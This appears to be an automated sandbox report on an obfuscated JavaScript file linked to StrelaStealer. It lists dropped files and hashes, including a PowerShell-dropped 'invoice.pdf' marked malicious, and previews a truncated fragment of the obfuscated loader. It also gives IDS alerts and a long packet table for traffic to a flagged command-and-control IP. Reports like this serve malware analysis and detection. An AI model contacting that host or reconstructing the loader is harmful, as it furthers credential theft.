Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.393763080606635
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rT:cM
MD5:	702888BB558B575FE4B4EE11F6FDD165
SHA1:	383A4EEF155C9F8DCA3A2F59A583B29AE6FEB68D
SHA-256:	F0E0369169F7EC9F7C127B518D93EF91CC599E285786CE40E033CE2CBA224423
SHA-512:	5D3465EA982A4F9C65CF07D6A12A2A3CF66299B7EB5F65BBEF0DC85017B0679E5FB881258F4DCE24B044FCE00B9CCE00AA7DDCC45A0E8ED94E62F83E0E2EE61C
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\45074d8f-6487-4c35-9718-2b39bf15bf0e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\6e65354d-89af-4d3a-8b05-6c69213d3e9b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\703298c4-de0d-4bc3-b136-042bf09ec98d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:uoFdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZfqeYIGNPB:uM3mlind9i4ufFXpAXkrfUs0qWLxXGZe
MD5:	457195CBE8884044F54E84BAC5DB3EC4
SHA1:	0C442DB127B8FB58CCAAFC5A72362357EAE172FE
SHA-256:	A7F09DCDF02D6D923433ABA46B60C7CE9055350A2E6D95B5885F9B21870E77F1
SHA-512:	DF57A5532E37595F3E7BBED0EDB27234E82A8CEA53AD4398BB9CAC145B0EBA5FAD20DEB98797A2775453EB1244B5A87D181B744B65F72647E6666172672E8D1F
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d34d3553-9cc4-4da5-a8d4-b15d51c81f82.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/nZwYIGNPzWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:fZwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	F43041C007C55C623135DD65EBCBE292
SHA1:	0F5781369DB2C967A1795898030244B2E9D561F6
SHA-256:	4F7827EA2E3ACAA6A1B5BC7969516DD8EF08AC789E9C5FBCE61A71D0553C2B8D
SHA-512:	E5D1D615B902E4D66FD550BDF1418FE7D70BC08548EA006891F90CB183299D6700547205A3F2FEED6AE2C2F3A95B5F094356E4FB5451A36C4555CBFABE4D44F5
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16214), with CRLF line terminators
Entropy (8bit):	4.920161319730321
TrID:
File name:	2624560062728623951.js
File size:	19'773 bytes
MD5:	87c53de56a96c5f4375e97287acc56ab
SHA1:	e990c668cf8b4d772e7952b4c96efce87665ba3d
SHA256:	10d2f034822ab93271662a6f9e2cc895e7412ef75913341d2da776f1c75ced8d
SHA512:	540351b2a5087077c6003e948a27c337bd9c4efbd5af3683a49272f733c73dae6cdd192495821588cf4860947bfbfb68ba61d941ebad0aee2e0e1abc0cd12262
SSDEEP:	384:dP0JFGbymVwpG6G3xiVLZBjhGdZmoleUn5AUmmLRh865rZ/fy1EVkfnBOPS+hy48:5FOppG6G3xiVLZBjhGdZmoleUn5AUmm2
TLSH:	3692834BD6A9C7C3F5D800F08DE1209421CD12D589B462CB3A25B01AE7D277933EB5F9
File Content Preview:	function aidveldmk(){cjzvsi=[1031,3079,5127,4103,2055,3072];var qcpuu=this[mbgqld+xntde+dnfowxnzp+dctfpef+qttidv+pvvmzi+fjriscatq+safuwiclz](this[hbjdgzrj+btsajm+trupbjufg+dnfowxnzp+glnlero+mbgqld+safuwiclz][kyuvx+dnfowxnzp+qttidv+xntde+safuwiclz+qttidv+s

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:26:47.932223+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T03:26:47.932223+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T03:26:50.703719+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:26:47.164447069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:47.169487000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:47.169591904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:47.172687054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:47.177567005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:47.932123899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:47.932154894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:47.932172060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:47.932188988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:47.932204008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:47.932220936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:47.932223082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:47.932235956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:47.932250977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:47.932257891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:47.932266951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:47.932290077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:47.932317019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:47.932354927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:47.937053919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:47.937088966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:47.937138081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:47.974514008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:47.974538088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:47.974647999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.048918009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.049012899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.049045086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.049077988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.049110889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.049256086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.049256086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.049302101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.049343109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.049376965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.049379110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.049420118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.049493074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.049526930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.049567938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.050276041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.050311089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.050354004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.050359964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.050393105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.050426960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.050432920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.051084995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.051136971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.051145077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.051170111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.051214933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.051234961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.051269054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.051309109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.051958084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.052010059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.052054882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.104681969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.104738951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.104788065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.104940891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.135714054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.135749102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.135922909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.165853024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.165883064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.165916920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.165937901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.165956974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.165970087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.165978909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.166001081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.166023016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.166023970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.166023970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.166071892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.166290998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.166321993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.166433096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.166435003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.166484118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.166503906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.166529894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.166769028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.166801929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.166821003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.166834116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.166867971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.166914940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.166934967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.166976929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.167367935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.167399883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.167421103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.167448044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.167538881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.167586088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.167593002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.167613983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.167665005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.167695999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.168252945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.168299913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.168304920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.168320894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.168369055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.168513060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.168533087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.168553114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.168575048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.168589115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.168639898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.169260025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.169294119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.169328928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.169343948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.169428110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.169461966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.169478893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.169496059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.169529915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.169542074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.170176983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.170209885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.170244932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.170250893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.170279026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.170294046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.191684961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.191723108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.191760063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.191787958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.191792011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.191833973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.208162069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.208203077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.208370924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.250639915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.260252953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.260297060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.260349035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.260382891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.260416031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.260427952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.260461092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.282509089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.282552958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.282655001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.282680988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.282741070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.282742023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.282778978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.282830000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:26:48.282897949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.282932043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.282964945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:26:48.282984018 CET	49730	80	192.168.2.4	193.143.1.205
